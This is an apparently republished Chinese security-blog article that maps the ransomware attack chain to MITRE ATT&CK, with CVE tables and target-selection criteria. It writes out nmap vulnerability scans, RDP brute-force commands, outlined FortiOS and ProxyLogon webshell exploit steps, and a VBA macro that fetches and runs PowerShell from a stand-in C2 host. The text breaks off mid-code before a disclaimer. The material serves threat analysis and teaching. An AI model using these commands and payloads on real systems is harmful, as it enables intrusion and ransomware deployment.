文章总结： 本文深度拆解勒索软件攻击链，涵盖从侦察到影响的12个战术阶段，典型攻击周期7-45天。攻击者通过被动/主动侦察选择高价值目标，利用VPN漏洞如FortinetCVE-2024-21762等作为初始入口。文章映射MITREATT&CK框架，提供详细技术细节与防御建议，强调需重点防护远程访问设备和加强端点检测。 综合评分： 88 文章分类： 漏洞分析,威胁情报,实战经验,红队,内网渗透
第3篇-勒索软件攻击链深度拆解
原创
pandazhengzheng pandazhengzheng
安全分析与研究
2026年8月6日 22:00 广东
在小说阅读器读本章
去阅读
一、勒索软件攻击链总览
1.1 勒索软件完整攻击链模型
勒索软件攻击并非单一行为，而是一系列精心编排的战术与技术组合。现代勒索软件攻击链高度契合 MITRE ATT&CK 框架，从初始侦察到最终破坏，涵盖十余个战术阶段。以下为完整的攻击链流程图：
┌─────────────────────────────────────────────────────────────────────────────┐
│ 勒索软件完整攻击链 (Ransomware Kill Chain) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ 侦察 │───>│ 初始访问 │───>│ 执行 │───>│ 持久化 │ │
│ │ Recon │ │ InitAcc │ │ Exec │ │ Persist │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ │ │ │
│ │ v │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ 影响 │<───│ 数据外传 │<───│ 数据收集 │<───│ 横向移动 │ │
│ │ Impact │ │ Exfil │ │ Collect │ │ Lateral │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ ^ ^ │
│ │ │ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ 防御规避 │ │ 凭据访问 │ │ 发现 │ │ 权限提升 │ │
│ │ DefEvas │ │ CredAcc │ │ Discov │ │ PrivEsc │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
1.2 攻击链阶段详细时序
时间轴 (典型攻击周期: 7-45天)
═══════════════════════════════════════════════════════════════════
Day 0-7 [侦察与初始访问] 目标选择、漏洞利用、钓鱼投放
│
Day 1-14 [执行与持久化] 载荷执行、建立持久化机制
│
Day 2-21 [权限提升] 提权至SYSTEM/域管理员
│
Day 3-28 [防御规避] 关闭安全软件、清除日志
│
Day 3-28 [凭据访问] 凭据窃取、Kerberos攻击
│
Day 5-35 [发现与横向移动] 网络侦察、域内横向扩散
│
Day 7-40 [数据收集与外传] 数据暂存、外传至C2
│
Day 7-45 [加密与破坏] 大规模加密、勒索通知
1.3 MITRE ATT&CK 战术映射总览
| 战术阶段 | MITRE ATT&CK ID | 常用技术数量 | 关键技术示例 | 典型工具 | | — | — | — | — | — | | 侦察 (Reconnaissance) | TA0043 | 8+ | T1595 主动扫描, T1592 收集主机信息 | Shodan, ZoomEye, Nmap | | 初始访问 (Initial Access) | TA0001 | 10+ | T1190 利用公开应用, T1566 钓鱼 | Exploit chains, Phishing kits | | 执行 (Execution) | TA0002 | 14+ | T1059 命令行解释器, T1047 WMI | PowerShell, cmd.exe | | 持久化 (Persistence) | TA0003 | 18+ | T1053 计划任务, T1547 启动项 | schtasks, Registry | | 权限提升 (Privilege Escalation) | TA0004 | 13+ | T1068 漏洞利用, T1548 滥用机制 | PrintNightmare, UAC bypass | | 防御规避 (Defense Evasion) | TA0005 | 22+ | T1055 进程注入, T1562 禁用安全工具 | Process Hollowing, AMSI bypass | | 凭据访问 (Credential Access) | TA0006 | 12+ | T1003 凭据转储, T1558 窃取Kerberos票证 | Mimikatz, Rubeus | | 发现 (Discovery) | TA0007 | 10+ | T1018 远程系统发现, T1083 文件发现 | net.exe, ldapquery | | 横向移动 (Lateral Movement) | TA0008 | 9+ | T1021 远程服务, T1550 传递凭据 | PsExec, WMI, RDP | | 收集 (Collection) | TA0009 | 7+ | T1560 数据归档, T1005 本地数据 | 7zip, WinRAR | | 数据外传 (Exfiltration) | TA0010 | 5+ | T1567 Web服务外传, T1048 替代协议 | Rclone, MegaSync | | 影响 (Impact) | TA0040 | 8+ | T1486 数据加密, T1490 禁用备份 | ransomware binary, vssadmin |
1.4 勒索软件运营模式演进
| 代际 | 时间段 | 运营模式 | 典型特征 | 代表家族 | | — | — | — | — | — | | 第一代 | 2012-2016 | 独立运营 | 随机投放、小规模加密 | CryptoLocker, TeslaCrypt | | 第二代 | 2016-2019 | RaaS萌芽 | 垃圾邮件批量投放 | Cerber, Locky, SamSam | | 第三代 | 2019-2021 | RaaS成熟 | 定向攻击、双重勒索 | Maze, REvil, Ryuk | | 第四代 | 2021-2023 | 供应链+RaaS | 三重勒索、联盟体系 | Conti, LockBit 2.0, BlackCat | | 第五代 | 2023-至今 | AI辅助+RaaS | 四重勒索、AI增强侦察 | LockBit 3.0, Akira, BlackSuit |
二、侦察与初始访问（Reconnaissance & Initial Access）
2.1 目标选择标准
勒索软件运营者在发起攻击前，会通过多种渠道进行系统性的目标评估。目标选择并非随机，而是基于一系列量化指标：
| 评估维度 | 评估指标 | 权重 | 数据来源 | | — | — | — | — | | 财务能力 | 年营收 > 1亿美元 | 高 | SEC公开财报、D&B数据库 | | 行业属性 | 医疗、制造、教育、政府 | 高 | 行业分类数据库 | | 保险状态 | 是否持有网络保险 | 极高 | 暗网保险数据经纪人 | | 安全成熟度 | 是否部署EDR/XDR | 高 | 互联网暴露面扫描 | | 威胁面 | VPN/远程访问暴露 | 极高 | Shodan/Censys扫描 | | 监管压力 | 行业合规要求严格度 | 中 | 法规数据库 | | 历史记录 | 是否曾被入侵 | 中 | 暗网泄露数据 | | 赎金支付意愿 | 同行业历史支付率 | 高 | 暗网论坛情报 |
2.2 侦察技术详解
2.2.1 被动侦察
被动侦察信息收集路径:
═══════════════════════════════
目标公司官网
│
├─── 员工名单/LinkedIn ──> 社工钓鱼目标
├─── 技术栈标识 ──> 漏洞匹配
├─── 合作伙伴 ──> 供应链攻击路径
└─── 招聘信息 ──> 内部技术栈推断
公开数据源
│
├─── SEC EDGAR ──> 财务状况评估
├─── DNS记录 ──> 基础设施发现
├─── 证书透明度日志 ──> 子域名枚举
└─── 代码仓库(GitHub)──> 凭据/密钥泄露
2.2.2 主动侦察
攻击者常用主动扫描命令示例：
# Nmap 扫描 VPN 设备
nmap -sV -p 443,10443,8443,4443 --script=vuln <target_range>
# 识别 Fortinet FortiOS 版本
nmap -sV --script=ssl-cert -p 443 <target>
# 检测 Exchange Server 版本
nmap -sV -p 443,80 --script=http-headers,http-title <target>
# 指纹识别远程访问网关
nmap -sV -p 443 --script=http-fingerprint <target>
2.3 VPN 漏洞利用
VPN 设备是勒索软件攻击者最青睐的初始入口之一。以下为近年来被广泛利用的 VPN 漏洞：
| 漏洞编号 | 影响产品 | CVSS | 漏洞类型 | 利用难度 | 关联勒索家族 | | — | — | — | — | — | — | | CVE-2024-21762 | Fortinet FortiOS | 9.6 | 越界写入 | 低 | LockBit, Akira | | CVE-2023-27997 | Fortinet FortiOS | 9.2 | 堆溢出 | 低 | BlackCat | | CVE-2023-20269 | Cisco ASA | 9.1 | 认证绕过 | 低 | Akira | | CVE-2022-42475 | Fortinet FortiOS | 9.3 | 堆溢出 | 低 | LockBit | | CVE-2021-44228 | Apache Log4j | 10.0 | RCE | 低 | Conti, LockBit | | CVE-2021-22893 | Pulse Secure | 10.0 | 认证绕过 | 低 | REvil | | CVE-2021-34473 | Microsoft Exchange | 9.8 | SSRF/RCE | 中 | BlackKingdom | | CVE-2021-34523 | Microsoft Exchange | 9.8 | 权限提升 | 中 | LockBit | | CVE-2021-31207 | Microsoft Exchange | 7.1 | 认证绕过 | 中 | Conti | | CVE-2021-21985 | VMware vCenter | 9.8 | RCE | 低 | BlackMatter | | CVE-2021-22005 | VMware vCenter | 9.8 | 文件上传 | 低 | Conti | | CVE-2019-19781 | Citrix ADC | 9.8 | 目录遍历RCE | 低 | REvil, Maze | | CVE-2018-13379 | Fortinet FortiOS | 9.8 | 路径遍历 | 低 | Ragnar | | CVE-2021-22205 | GitLab CE/EE | 10.0 | RCE | 低 | Conti |
Fortinet FortiOS CVE-2024-21762 利用链
利用流程:
═════════
1. 探测目标 FortiOS 版本
GET /remote/login HTTP/1.1
Host: <target>
2. 发送特制 HTTP 请求触发越界写入
POST /remote/checkupdate HTTP/1.1
Host: <target>
Content-Length: <crafted>
[特制payload触发堆溢出]
3. 获取命令执行
→ 反弹Shell至C2服务器
→ 下载第二阶段载荷
4. 建立持久化
→ 修改FortiOS配置
→ 部署后门账户
2.4 Microsoft Exchange ProxyShell/ProxyLogon 攻击链
ProxyLogon (CVE-2021-26855 + CVE-2021-27065) 和 ProxyShell (CVE-2021-34473 + CVE-2021-34523 + CVE-2021-31207) 是勒索软件攻击者最常利用的 Exchange 漏洞组合：
ProxyLogon 攻击链:
═══════════════════
Step 1: SSRF (CVE-2021-26855)
┌─────────────────────────────────────────────────────┐
│ POST /owa/auth/logon.aspx HTTP/1.1 │
│ Host: <exchange_server> │
│ Cookie: X-BEResource=localhost~443/powershell │
│ │
│ → 通过SSRF绕过认证，访问后端PowerShell端点 │
└─────────────────────────────────────────────────────┘
│
v
Step 2: 任意文件写入 (CVE-2021-27065)
┌─────────────────────────────────────────────────────┐
│ 通过后端PowerShell执行: │
│ New-ExchangeCertificate -GenerateRequest │
│ -RequestFile "\\127.0.0.1\C$\inetpub\wwwroot │
│ \aspnet_client\shell.aspx" -SubjectName "CN=shell" │
│ │
│ → 写入WebShell至Exchange Web目录 │
└─────────────────────────────────────────────────────┘
│
v
Step 3: WebShell访问与命令执行
┌─────────────────────────────────────────────────────┐
│ GET /aspnet_client/shell.aspx HTTP/1.1 │
│ → 执行任意命令 │
│ → 下载并执行勒索软件载荷 │
└─────────────────────────────────────────────────────┘
ProxyShell 攻击链:
═══════════════════
CVE-2021-34473 (SSRF) CVE-2021-34523 (提权) CVE-2021-31207 (RCE)
│ │ │
v v v
访问后端PowerShell ───> 提升至SYSTEM权限 ───> 写入WebShell实现RCE
绕过认证验证 获取Exchange Admin 部署后门/下载载荷
2.5 RDP 暴力破解与凭据填充
RDP 暴力破解是勒索软件最传统的初始访问方式之一，至今仍被广泛使用：
# 攻击者常用的RDP暴力破解工具命令
# Hydra RDP爆破
hydra -l administrator -P passwords.txt rdp://<target> -V -f
# Crowbar RDP爆破
crowbar -b rdp -s <target>/32 -u administrator -C passwords.txt
# Ncrack RDP爆破
ncrack -vv -U userlist.txt -P passlist.txt <target>:3389
# xfreerdp 连接验证
xfreerdp /v:<target> /u:administrator /p:<password> /cert:ignore
RDP 安全配置常见缺陷：
| 配置缺陷 | 风险等级 | 检测方法 | 修复建议 | | — | — | — | — | | RDP暴露于互联网 | 严重 | Shodan port:3389 | 使用VPN替代直接暴露 | | NLA未启用 | 高 | 检查注册表 | 启用Network Level Authentication | | 弱密码策略 | 高 | 密码审计 | 15位以上复杂密码 | | 无账户锁定策略 | 高 | 检查GPO | 配置5次锁定30分钟 | | 未限制RDP访问IP | 中 | 防火墙规则 | 限制源IP范围 | | 未启用RDP日志 | 中 | 事件日志检查 | 启用详细日志记录 |
2.6 钓鱼邮件技术演进
勒索软件钓鱼邮件的附件格式经历了显著的技术演进，以绕过不断强化的安全检测：
钓鱼附件格式演进时间线:
═════════════════════════════
2016-2018 ─── 宏文档 (.doc, .xls)
│ VBA宏启用 → 下载载荷
│ 检测: AV宏检测
│
2018-2019 ─── LNK文件 (.lnk)
│ 快捷方式执行PowerShell
│ 检测: LNK属性分析
│
2019-2020 ─── ISO/IMG挂载 (.iso, .img)
│ 绕过Mark-of-the-Web(MOTW)
│ 检测: ISO内容分析
│
2020-2021 ─── HTML走私 (.html)
│ JavaScript构造恶意文件
│ 检测: JS沙箱分析
│
2021-2022 ─── VBA Stomping
│ 修改pcode绕过AV
│ 检测: pcode/源码对比
│
2022-2023 ─── OneNote文件 (.one)
│ 嵌入恶意脚本
│ 检测: OneNote内容提取
│
2023-至今 ─── PDF嵌入+AI生成
│ AI生成钓鱼内容
│ 检测: NLP/行为分析
宏文档攻击示例
' 典型勒索软件宏文档载荷 (概念演示)
Sub AutoOpen()
Dim shell As Object
Set shell = CreateObject("WScript.Shell")
' 通过环境变量拼接命令以规避静态检测
Dim cmd As String
cmd = Environ("COMSPEC") & " /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass"
cmd = cmd & " -Command ""IEX(New-Object Net.WebClient).DownloadString('http://c2.example.com/stage1.ps1')"""
shell.Run cmd, 0, False
End Sub
HTML 走私技术
<!-- HTML走私 - 在浏览器中构造恶意文件 -->
<script>
`
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：安全分析与研究 pandazhengzheng pandazhengzheng《第3篇-勒索软件攻击链深度拆解》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论